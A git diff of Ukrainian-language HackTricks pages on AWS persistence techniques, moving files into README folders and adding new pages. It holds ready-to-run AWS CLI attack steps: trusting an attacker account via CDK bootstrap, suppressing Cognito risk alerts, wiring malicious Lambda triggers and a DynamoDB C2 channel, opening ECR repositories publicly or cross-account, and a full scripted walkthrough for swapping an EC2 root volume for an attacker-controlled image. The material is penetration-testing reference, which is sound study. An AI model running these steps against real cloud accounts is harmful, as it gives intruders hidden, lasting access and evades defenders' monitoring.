diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md deleted file mode 100644 index 0aa022027..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md +++ /dev/null @@ -1,32 +0,0 @@ -# AWS - API Gateway Persistence - -{{#include ../../../banners/hacktricks-training.md}} - -## API Gateway - -Для отримання додаткової інформації перейдіть за посиланням: - -{{#ref}} -../aws-services/aws-api-gateway-enum.md -{{#endref}} - -### Resource Policy - -Змініть політику ресурсів API gateway(ів), щоб надати собі доступ до них. - -### Modify Lambda Authorizers - -Змініть код авторизаторів lambda, щоб надати собі доступ до всіх кінцевих точок.\ -Або просто видаліть використання авторизатора. - -### IAM Permissions - -Якщо ресурс використовує авторизатор IAM, ви можете надати собі доступ до нього, змінивши дозволи IAM.\ -Або просто видаліть використання авторизатора. - -### API Keys - -Якщо використовуються API ключі, ви можете їх витікати, щоб підтримувати постійний доступ або навіть створити нові.\ -Або просто видаліть використання API ключів. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence/README.md new file mode 100644 index 000000000..3c7e91a76 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence/README.md @@ -0,0 +1,32 @@ +# AWS - API Gateway Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +## API Gateway + +Для отримання додаткової інформації див.: + +{{#ref}} +../../aws-services/aws-api-gateway-enum.md +{{#endref}} + +### Resource Policy + +Змініть політику ресурсів у API gateway(s), щоб надати собі доступ до них + +### Змініть Lambda Authorizers + +Змініть код lambda authorizers, щоб надати собі доступ до всіх кінцевих точок.\ +Або просто видаліть використання авторизатора. + +### IAM Дозволи + +Якщо ресурс використовує IAM authorizer, ви можете надати собі доступ до нього, змінивши дозволи IAM.\ +Або просто видаліть використання авторизатора. + +### API Keys + +Якщо використовуються API keys, ви можете leak їх для підтримки persistence або навіть створити нові.\ +Або просто видаліть використання API keys. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md deleted file mode 100644 index 19cf3bdab..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md +++ /dev/null @@ -1,23 +0,0 @@ -# AWS - Cloudformation Persistence - -{{#include ../../../banners/hacktricks-training.md}} - -## CloudFormation - -Для отримання додаткової інформації, зверніться до: - -{{#ref}} -../aws-services/aws-cloudformation-and-codestar-enum.md -{{#endref}} - -### CDK Bootstrap Stack - -AWS CDK розгортає CFN стек під назвою `CDKToolkit`. Цей стек підтримує параметр `TrustedAccounts`, який дозволяє зовнішнім обліковим записам розгортати проекти CDK у жертвенному обліковому записі. Зловмисник може зловживати цим, щоб надати собі безстроковий доступ до жертвеного облікового запису, використовуючи AWS cli для повторного розгортання стека з параметрами або AWS CDK cli. -```bash -# CDK -cdk bootstrap --trust 1234567890 - -# AWS CLI -aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890 -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence/README.md new file mode 100644 index 000000000..3de94f16f --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence/README.md @@ -0,0 +1,23 @@ +# AWS - Cloudformation Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +## CloudFormation + +Для додаткової інформації дивіться: + +{{#ref}} +../../aws-services/aws-cloudformation-and-codestar-enum.md +{{#endref}} + +### CDK Bootstrap Stack + +AWS CDK розгортає CFN стек під назвою `CDKToolkit`. Цей стек підтримує параметр `TrustedAccounts`, який дозволяє зовнішнім акаунтам розгортати CDK проєкти в обліковому записі жертви. Зловмисник може зловживати цим, щоб надати собі безстроковий доступ до облікового запису жертви, або використовуючи AWS cli для повторного розгортання стека з параметрами, або AWS CDK cli. +```bash +# CDK +cdk bootstrap --trust 1234567890 + +# AWS CLI +aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890 +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md deleted file mode 100644 index fef01e8b0..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md +++ /dev/null @@ -1,40 +0,0 @@ -# AWS - Cognito Persistence - -{{#include ../../../banners/hacktricks-training.md}} - -## Cognito - -Для отримання додаткової інформації, перейдіть за посиланням: - -{{#ref}} -../aws-services/aws-cognito-enum/ -{{#endref}} - -### User persistence - -Cognito - це сервіс, який дозволяє надавати ролі неавтентифікованим та автентифікованим користувачам і контролювати каталог користувачів. Кілька різних конфігурацій можуть бути змінені для підтримки певної стійкості, такі як: - -- **Додавання User Pool**, контрольованого користувачем, до Identity Pool -- Надання **IAM ролі неавтентифікованому Identity Pool та дозволення Basic auth flow** -- Або **автентифікованому Identity Pool**, якщо зловмисник може увійти в систему -- Або **покращення дозволів** наданих ролей -- **Створення, перевірка та privesc** через атрибути контрольованих користувачів або нових користувачів у **User Pool** -- **Дозволення зовнішнім постачальникам ідентичності** входити в User Pool або в Identity Pool - -Перевірте, як виконати ці дії в - -{{#ref}} -../aws-privilege-escalation/aws-cognito-privesc.md -{{#endref}} - -### `cognito-idp:SetRiskConfiguration` - -Зловмисник з цим привілеєм міг би змінити конфігурацію ризику, щоб мати можливість увійти як користувач Cognito **без спрацьовування тривог**. [**Перевірте cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) для перевірки всіх опцій: -```bash -aws cognito-idp set-risk-configuration --user-pool-id --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION} -``` -За замовчуванням це вимкнено: - -
- -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence/README.md new file mode 100644 index 000000000..5c9fe9352 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence/README.md @@ -0,0 +1,40 @@ +# AWS - Cognito Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +## Cognito + +Для більш детальної інформації перегляньте: + +{{#ref}} +../../aws-services/aws-cognito-enum/ +{{#endref}} + +### User persistence + +Cognito — сервіс, який дозволяє надавати ролі неавторизованим та авторизованим користувачам і керувати каталогом користувачів. Кілька різних конфігурацій можна змінити, щоб забезпечити певну persistence, наприклад: + +- **Adding a User Pool** який контролюється користувачем до Identity Pool +- Give an **IAM role to an unauthenticated Identity Pool and allow Basic auth flow** +- Або до an **authenticated Identity Pool** якщо атакуючий може увійти +- Або **improve the permissions** наданих ролей +- **Create, verify & privesc** через користувачів з контрольованими атрибутами або нових користувачів у **User Pool** +- **Allowing external Identity Providers** для входу в User Pool або в Identity Pool + +Дізнайтеся, як виконувати ці дії в + +{{#ref}} +../../aws-privilege-escalation/aws-cognito-privesc/README.md +{{#endref}} + +### `cognito-idp:SetRiskConfiguration` + +Зловмисник з цим привілеєм може змінити конфігурацію ризику, щоб мати можливість увійти як користувач Cognito **без спрацьовування тривог**. [**Check out the cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) to check all the options: +```bash +aws cognito-idp set-risk-configuration --user-pool-id --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION} +``` +За замовчуванням це вимкнено: + +
+ +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md deleted file mode 100644 index d112aad54..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md +++ /dev/null @@ -1,59 +0,0 @@ -# AWS - DynamoDB Persistence - -{{#include ../../../banners/hacktricks-training.md}} - -### DynamoDB - -Для отримання додаткової інформації зверніться до: - -{{#ref}} -../aws-services/aws-dynamodb-enum.md -{{#endref}} - -### Тригери DynamoDB з бекдором Lambda - -Використовуючи тригери DynamoDB, зловмисник може створити **прихований бекдор**, асоціювавши шкідливу функцію Lambda з таблицею. Функція Lambda може бути активована, коли елемент додається, змінюється або видаляється, що дозволяє зловмиснику виконувати довільний код у обліковому записі AWS. -```bash -# Create a malicious Lambda function -aws lambda create-function \ ---function-name MaliciousFunction \ ---runtime nodejs14.x \ ---role \ ---handler index.handler \ ---zip-file fileb://malicious_function.zip \ ---region - -# Associate the Lambda function with the DynamoDB table as a trigger -aws dynamodbstreams describe-stream \ ---table-name TargetTable \ ---region - -# Note the "StreamArn" from the output -aws lambda create-event-source-mapping \ ---function-name MaliciousFunction \ ---event-source \ ---region -``` -Щоб підтримувати стійкість, зловмисник може створювати або змінювати елементи в таблиці DynamoDB, що викликатиме шкідливу функцію Lambda. Це дозволяє зловмиснику виконувати код в обліковому записі AWS без прямої взаємодії з функцією Lambda. - -### DynamoDB як C2 канал - -Зловмисник може використовувати таблицю DynamoDB як **канал команд і контролю (C2)**, створюючи елементи, що містять команди, і використовуючи скомпрометовані екземпляри або функції Lambda для отримання та виконання цих команд. -```bash -# Create a DynamoDB table for C2 -aws dynamodb create-table \ ---table-name C2Table \ ---attribute-definitions AttributeName=CommandId,AttributeType=S \ ---key-schema AttributeName=CommandId,KeyType=HASH \ ---provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \ ---region - -# Insert a command into the table -aws dynamodb put-item \ ---table-name C2Table \ ---item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \ ---region -``` -Скомпрометовані екземпляри або функції Lambda можуть періодично перевіряти таблицю C2 на наявність нових команд, виконувати їх і, за бажанням, повідомляти результати назад до таблиці. Це дозволяє зловмиснику підтримувати стійкість і контроль над скомпрометованими ресурсами. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence/README.md new file mode 100644 index 000000000..0ea7ace72 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence/README.md @@ -0,0 +1,59 @@ +# AWS - DynamoDB Персистентність + +{{#include ../../../../banners/hacktricks-training.md}} + +### DynamoDB + +Для отримання додаткової інформації дивіться: + +{{#ref}} +../../aws-services/aws-dynamodb-enum.md +{{#endref}} + +### DynamoDB тригери з Lambda Backdoor + +Використовуючи тригери DynamoDB, зловмисник може створити **stealthy backdoor**, асоціювавши зловмисну Lambda функцію з таблицею. Функція Lambda може запускатися, коли елемент додається, змінюється або видаляється, що дозволяє зловмиснику виконувати довільний код в межах облікового запису AWS. +```bash +# Create a malicious Lambda function +aws lambda create-function \ +--function-name MaliciousFunction \ +--runtime nodejs14.x \ +--role \ +--handler index.handler \ +--zip-file fileb://malicious_function.zip \ +--region + +# Associate the Lambda function with the DynamoDB table as a trigger +aws dynamodbstreams describe-stream \ +--table-name TargetTable \ +--region + +# Note the "StreamArn" from the output +aws lambda create-event-source-mapping \ +--function-name MaliciousFunction \ +--event-source \ +--region +``` +Щоб підтримувати persistence, зловмисник може створювати або змінювати записи в таблиці DynamoDB, що запускатиме шкідливу Lambda-функцію. Це дозволяє зловмиснику виконувати code в обліковому записі AWS без прямої взаємодії з Lambda-функцією. + +### DynamoDB як C2 Channel + +Зловмисник може використовувати таблицю DynamoDB як **command and control (C2) channel**, створюючи записи з командами та використовуючи скомпрометовані інстанси або Lambda-функції для отримання та виконання цих команд. +```bash +# Create a DynamoDB table for C2 +aws dynamodb create-table \ +--table-name C2Table \ +--attribute-definitions AttributeName=CommandId,AttributeType=S \ +--key-schema AttributeName=CommandId,KeyType=HASH \ +--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \ +--region + +# Insert a command into the table +aws dynamodb put-item \ +--table-name C2Table \ +--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \ +--region +``` +Скомпрометовані instances або Lambda functions можуть періодично перевіряти C2 table на наявність нових команд, виконувати їх і за бажанням відправляти результати назад у таблицю. Це дозволяє зловмиснику підтримувати persistence і контроль над скомпрометованими ресурсами. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md deleted file mode 100644 index 2e2738ace..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md +++ /dev/null @@ -1,54 +0,0 @@ -# AWS - EC2 Persistence - -{{#include ../../../banners/hacktricks-training.md}} - -## EC2 - -Для отримання додаткової інформації перегляньте: - -{{#ref}} -../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ -{{#endref}} - -### Відстеження з'єднань групи безпеки - -Якщо захисник виявить, що **EC2 екземпляр був скомпрометований**, він, ймовірно, спробує **ізолювати** **мережу** машини. Він може зробити це за допомогою явного **Deny NACL** (але NACL впливають на всю підмережу) або **змінивши групу безпеки**, не дозволяючи **жодного виду вхідного або вихідного** трафіку. - -Якщо зловмисник мав **реверс-шелл, що походить з машини**, навіть якщо SG змінено, щоб не дозволяти вхідний або вихідний трафік, **з'єднання не буде розірвано через** [**Відстеження з'єднань групи безпеки**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.** - -### EC2 Lifecycle Manager - -Ця служба дозволяє **планувати** **створення AMI та знімків** і навіть **ділитися ними з іншими обліковими записами**.\ -Зловмисник може налаштувати **генерацію AMI або знімків** всіх образів або всіх томів **кожного тижня** і **ділитися ними зі своїм обліковим записом**. - -### Заплановані екземпляри - -Можна запланувати екземпляри для запуску щодня, щотижня або навіть щомісяця. Зловмисник може запустити машину з високими привілеями або цікавим доступом, де він міг би отримати доступ. - -### Запит на флот Spot - -Spot-екземпляри є **дешевшими** ніж звичайні екземпляри. Зловмисник може запустити **маленький запит на флот Spot на 5 років** (наприклад), з **автоматичним призначенням IP** і **даними користувача**, які надсилають зловмиснику **коли spot-екземпляр запускається** та **IP-адресу** з **високопривілейованою IAM роллю**. - -### Задні двері в екземплярах - -Зловмисник може отримати доступ до екземплярів і встановити в них задні двері: - -- Використовуючи традиційний **rootkit**, наприклад -- Додаючи новий **публічний SSH ключ** (перевірте [опції підвищення привілеїв EC2](../aws-privilege-escalation/aws-ec2-privesc.md)) -- Встановлюючи задні двері в **дані користувача** - -### **Конфігурація запуску з задніми дверима** - -- Встановити задні двері в використаний AMI -- Встановити задні двері в дані користувача -- Встановити задні двері в пару ключів - -### VPN - -Створіть VPN, щоб зловмисник міг підключитися безпосередньо через нього до VPC. - -### VPC Peering - -Створіть з'єднання пірінгу між VPC жертви та VPC зловмисника, щоб він міг отримати доступ до VPC жертви. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence/README.md new file mode 100644 index 000000000..5f3ae8e7e --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence/README.md @@ -0,0 +1,62 @@ +# AWS - EC2 Персистентність + +{{#include ../../../../banners/hacktricks-training.md}} + +## EC2 + +Для детальнішої інформації дивіться: + +{{#ref}} +../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ +{{#endref}} + +### Security Group Connection Tracking Persistence + +Якщо захисник виявить, що **EC2 instance було скомпрометовано**, він, ймовірно, спробує **ізолювати** **мережу** машини. Він може зробити це за допомогою явного **Deny NACL** (але NACLs впливають на всю підмережу), або **змінивши security group**, щоб не дозволяти **жодного вхідного або вихідного** трафіку. + +Якщо атакував мав **reverse shell, що ініціювався з машини**, навіть якщо SG змінено так, що не дозволяє вхідний або вихідний трафік, **з'єднання не буде розірване через** [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.** + +### EC2 Lifecycle Manager + +Цей сервіс дозволяє **планувати** **створення AMIs та snapshots** і навіть **ділитися ними з іншими акаунтами**.\ +Атакуючий може налаштувати **генерацію AMIs або snapshots** усіх образів або всіх томів **щотижня** і **ділитися ними зі своїм акаунтом**. + +### Scheduled Instances + +Можна планувати запуск instances щоденно, щотижнево або навіть щомісяця. Атакуючий може запускати машину з високими привілеями або цікавим доступом, до якої він зможе потрапити. + +### Spot Fleet Request + +Spot instances є **дешевшими**, ніж звичайні instances. Атакуючий може запустити **невеликий spot fleet request на 5 років** (наприклад), з **автоматичним призначенням IP** та **user data**, яка надсилає атакуючому **коли spot instance стартує** і **IP-адресу**, та з **високопривілейованим IAM role**. + +### Backdoor Instances + +Атакуючий може отримати доступ до instances і закласти в них бекдор: + +- Використовуючи традиційний **rootkit**, наприклад +- Додавши новий **public SSH key** (див. [EC2 privesc options](../../aws-privilege-escalation/aws-ec2-privesc/README.md)) +- Заклавши бекдор у **User Data** + +### **Backdoor Launch Configuration** + +- Backdoor the used AMI +- Backdoor the User Data +- Backdoor the Key Pair + +### EC2 ReplaceRootVolume Task (Stealth Backdoor) + +Замінити кореневий EBS volume запущеного instance на той, що створений з AMI або snapshot, контрольованих атакуючим, використовуючи `CreateReplaceRootVolumeTask`. Instance зберігає свої ENIs, IPs та роль, фактично завантажуючись у шкідливий код, при цьому виглядаючи незміненим. + +{{#ref}} +../aws-ec2-replace-root-volume-persistence/README.md +{{#endref}} + +### VPN + +Створити VPN, щоб атакуючий міг підключатися безпосередньо до VPC. + +### VPC Peering + +Створити peering connection між victim VPC та attacker VPC, щоб він міг отримати доступ до victim VPC. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-replace-root-volume-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-replace-root-volume-persistence/README.md new file mode 100644 index 000000000..6cc21677f --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-replace-root-volume-persistence/README.md @@ -0,0 +1,75 @@ +# AWS - EC2 ReplaceRootVolume Task (Stealth Backdoor / Persistence) + +{{#include ../../../../banners/hacktricks-training.md}} + +Зловживайте **ec2:CreateReplaceRootVolumeTask**, щоб замінити кореневий том EBS запущеного інстансу на том, відновлений з AMI або snapshot, контрольованого зловмисником. Інстанс автоматично перезавантажується і запускається з кореневою файловою системою, контрольованою зловмисником, при цьому зберігаються ENIs, приватні/публічні IP, приєднані не-кореневі томи та метадані інстансу/IAM роль. + +## Вимоги +- Цільовий інстанс є EBS-backed і запущений у тому самому регіоні. +- Сумісний AMI або snapshot: та сама архітектура/віртуалізація/режим завантаження (та product codes, якщо є), що й цільовий інстанс. + +## Попередні перевірки +```bash +REGION=us-east-1 +INSTANCE_ID= + +# Ensure EBS-backed +aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].RootDeviceType' --output text + +# Capture current network and root volume +ROOT_DEV=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].RootDeviceName' --output text) +ORIG_VOL=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query "Reservations[0].Instances[0].BlockDeviceMappings[?DeviceName==\`$ROOT_DEV\`].Ebs.VolumeId" --output text) +PRI_IP=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].PrivateIpAddress' --output text) +ENI_ID=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].NetworkInterfaces[0].NetworkInterfaceId' --output text) +``` +## Замінити root з AMI (рекомендовано) +```bash +IMAGE_ID= + +# Start task +TASK_ID=$(aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --image-id $IMAGE_ID --query 'ReplaceRootVolumeTaskId' --output text) + +# Poll until state == succeeded +while true; do +STATE=$(aws ec2 describe-replace-root-volume-tasks --region $REGION --replace-root-volume-task-ids $TASK_ID --query 'ReplaceRootVolumeTasks[0].TaskState' --output text) +echo "$STATE"; [ "$STATE" = "succeeded" ] && break; [ "$STATE" = "failed" ] && exit 1; sleep 10; +done +``` +Альтернатива з використанням snapshot: +```bash +SNAPSHOT_ID= +aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --snapshot-id $SNAPSHOT_ID +``` +## Докази / Перевірка +```bash +# Instance auto-reboots; network identity is preserved +NEW_VOL=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query "Reservations[0].Instances[0].BlockDeviceMappings[?DeviceName==\`$ROOT_DEV\`].Ebs.VolumeId" --output text) + +# Compare before vs after +printf "ENI:%s IP:%s +ORIG_VOL:%s +NEW_VOL:%s +" "$ENI_ID" "$PRI_IP" "$ORIG_VOL" "$NEW_VOL" + +# (Optional) Inspect task details and console output +aws ec2 describe-replace-root-volume-tasks --region $REGION --replace-root-volume-task-ids $TASK_ID --output json +aws ec2 get-console-output --region $REGION --instance-id $INSTANCE_ID --latest --output text +``` +Очікується: ENI_ID та PRI_IP залишаються незмінними; ID кореневого тому змінюється з $ORIG_VOL на $NEW_VOL. Система завантажується із файловою системою з AMI/snapshot, контрольованого атакуючим. + +## Примітки +- API не вимагає від вас вручну зупиняти інстанс; EC2 організовує перезавантаження. +- За замовчуванням замінений (старий) кореневий EBS том відключається та залишається в акаунті (DeleteReplacedRootVolume=false). Це можна використати для відкату або його потрібно видалити, щоб уникнути витрат. + +## Відкат / Очищення +```bash +# If the original root volume still exists (e.g., $ORIG_VOL is in state "available"), +# you can create a snapshot and replace again from it: +SNAP=$(aws ec2 create-snapshot --region $REGION --volume-id $ORIG_VOL --description "Rollback snapshot for $INSTANCE_ID" --query SnapshotId --output text) +aws ec2 wait snapshot-completed --region $REGION --snapshot-ids $SNAP +aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --snapshot-id $SNAP + +# Or simply delete the detached old root volume if not needed: +aws ec2 delete-volume --region $REGION --volume-id $ORIG_VOL +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md deleted file mode 100644 index f2cb30f1c..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md +++ /dev/null @@ -1,91 +0,0 @@ -# AWS - ECR Persistence - -{{#include ../../../banners/hacktricks-training.md}} - -## ECR - -Для отримання додаткової інформації перегляньте: - -{{#ref}} -../aws-services/aws-ecr-enum.md -{{#endref}} - -### Схований Docker-образ з шкідливим кодом - -Зловмисник може **завантажити Docker-образ, що містить шкідливий код** до репозиторію ECR і використовувати його для підтримки стійкості в цільовому обліковому записі AWS. Потім зловмисник може розгорнути шкідливий образ на різних службах в обліковому записі, таких як Amazon ECS або EKS, непомітно. - -### Політика репозиторію - -Додайте політику до одного репозиторію, надаючи собі (або всім) доступ до репозиторію: -```bash -aws ecr set-repository-policy \ ---repository-name cluster-autoscaler \ ---policy-text file:///tmp/my-policy.json - -# With a .json such as - -{ -"Version" : "2008-10-17", -"Statement" : [ -{ -"Sid" : "allow public pull", -"Effect" : "Allow", -"Principal" : "*", -"Action" : [ -"ecr:BatchCheckLayerAvailability", -"ecr:BatchGetImage", -"ecr:GetDownloadUrlForLayer" -] -} -] -} -``` -> [!WARNING] -> Зверніть увагу, що ECR вимагає, щоб користувачі мали **дозвіл** на виклики до **`ecr:GetAuthorizationToken`** API через IAM політику **перед тим, як вони зможуть аутентифікуватися** в реєстрі та завантажувати або вивантажувати будь-які зображення з будь-якого репозиторію Amazon ECR. - -### Політика реєстру та крос-акаунтне реплікація - -Можливо автоматично реплікувати реєстр в зовнішньому акаунті, налаштувавши крос-акаунтну реплікацію, де вам потрібно **вказати зовнішній акаунт**, в якому ви хочете реплікувати реєстр. - -
- -Спочатку вам потрібно надати зовнішньому акаунту доступ до реєстру за допомогою **політики реєстру** на зразок: -```bash -aws ecr put-registry-policy --policy-text file://my-policy.json - -# With a .json like: - -{ -"Sid": "asdasd", -"Effect": "Allow", -"Principal": { -"AWS": "arn:aws:iam::947247140022:root" -}, -"Action": [ -"ecr:CreateRepository", -"ecr:ReplicateImage" -], -"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*" -} -``` -Тоді застосуйте конфігурацію реплікації: -```bash -aws ecr put-replication-configuration \ ---replication-configuration file://replication-settings.json \ ---region us-west-2 - -# Having the .json a content such as: -{ -"rules": [{ -"destinations": [{ -"region": "destination_region", -"registryId": "destination_accountId" -}], -"repositoryFilters": [{ -"filter": "repository_prefix_name", -"filterType": "PREFIX_MATCH" -}] -}] -} -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence/README.md new file mode 100644 index 000000000..f98565c6a --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence/README.md @@ -0,0 +1,145 @@ +# AWS - ECR Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +## ECR + +Для отримання додаткової інформації дивіться: + +{{#ref}} +../../aws-services/aws-ecr-enum.md +{{#endref}} + +### Прихований Docker-образ зі шкідливим кодом + +Нападник може **завантажити Docker-образ, що містить шкідливий код**, до репозиторію ECR і використати його для підтримки persistence у цільовому обліковому записі AWS. Потім нападник може розгорнути шкідливий образ у різних сервісах облікового запису, таких як Amazon ECS або EKS, приховано. + +### Політика репозиторію + +Додайте політику до одного репозиторію, яка надає вам (або всім) доступ до репозиторію: +```bash +aws ecr set-repository-policy \ +--repository-name cluster-autoscaler \ +--policy-text file:///tmp/my-policy.json + +# With a .json such as + +{ +"Version" : "2008-10-17", +"Statement" : [ +{ +"Sid" : "allow public pull", +"Effect" : "Allow", +"Principal" : "*", +"Action" : [ +"ecr:BatchCheckLayerAvailability", +"ecr:BatchGetImage", +"ecr:GetDownloadUrlForLayer" +] +} +] +} +``` +> [!WARNING] +> Зауважте, що ECR вимагає, щоб користувачі мали **дозвіл** робити виклики до **`ecr:GetAuthorizationToken`** API через IAM policy **перед тим як вони зможуть автентифікуватися** в реєстрі та виконувати push або pull будь-яких образів з будь-якого репозиторію Amazon ECR. + +### Політика реєстру та реплікація між акаунтами + +Можна автоматично реплікувати реєстр у зовнішньому акаунті, налаштувавши реплікацію між акаунтами, де потрібно **вказати зовнішній акаунт**, у який ви хочете реплікувати реєстр. + +
+ +Спочатку потрібно надати зовнішньому акаунту доступ до реєстру за допомогою **політики реєстру**, наприклад: +```bash +aws ecr put-registry-policy --policy-text file://my-policy.json + +# With a .json like: + +{ +"Sid": "asdasd", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::947247140022:root" +}, +"Action": [ +"ecr:CreateRepository", +"ecr:ReplicateImage" +], +"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*" +} +``` +Потім застосуйте конфігурацію реплікації: +```bash +aws ecr put-replication-configuration \ +--replication-configuration file://replication-settings.json \ +--region us-west-2 + +# Having the .json a content such as: +{ +"rules": [{ +"destinations": [{ +"region": "destination_region", +"registryId": "destination_accountId" +}], +"repositoryFilters": [{ +"filter": "repository_prefix_name", +"filterType": "PREFIX_MATCH" +}] +}] +} +``` +### Repository Creation Templates (префіксний backdoor для майбутніх репозиторіїв) + +Зловживати ECR Repository Creation Templates, щоб автоматично backdoor будь-який репозиторій, який ECR автоматично створює під контрольованим префіксом (наприклад через Pull-Through Cache або Create-on-Push). Це надає постійний несанкціонований доступ до майбутніх репозиторіїв без торкання існуючих. + +- Потрібні дозволи: ecr:CreateRepositoryCreationTemplate, ecr:DescribeRepositoryCreationTemplates, ecr:UpdateRepositoryCreationTemplate, ecr:DeleteRepositoryCreationTemplate, ecr:SetRepositoryPolicy (використовується шаблоном), iam:PassRole (якщо до шаблону прикріплена кастомна роль). +- Наслідки: Будь-який новий репозиторій, створений під цільовим префіксом, автоматично успадковує політику репозиторію, керовану нападником (наприклад читання/запис між акаунтами), налаштування мутації тегів та параметри сканування за замовчуванням. + +
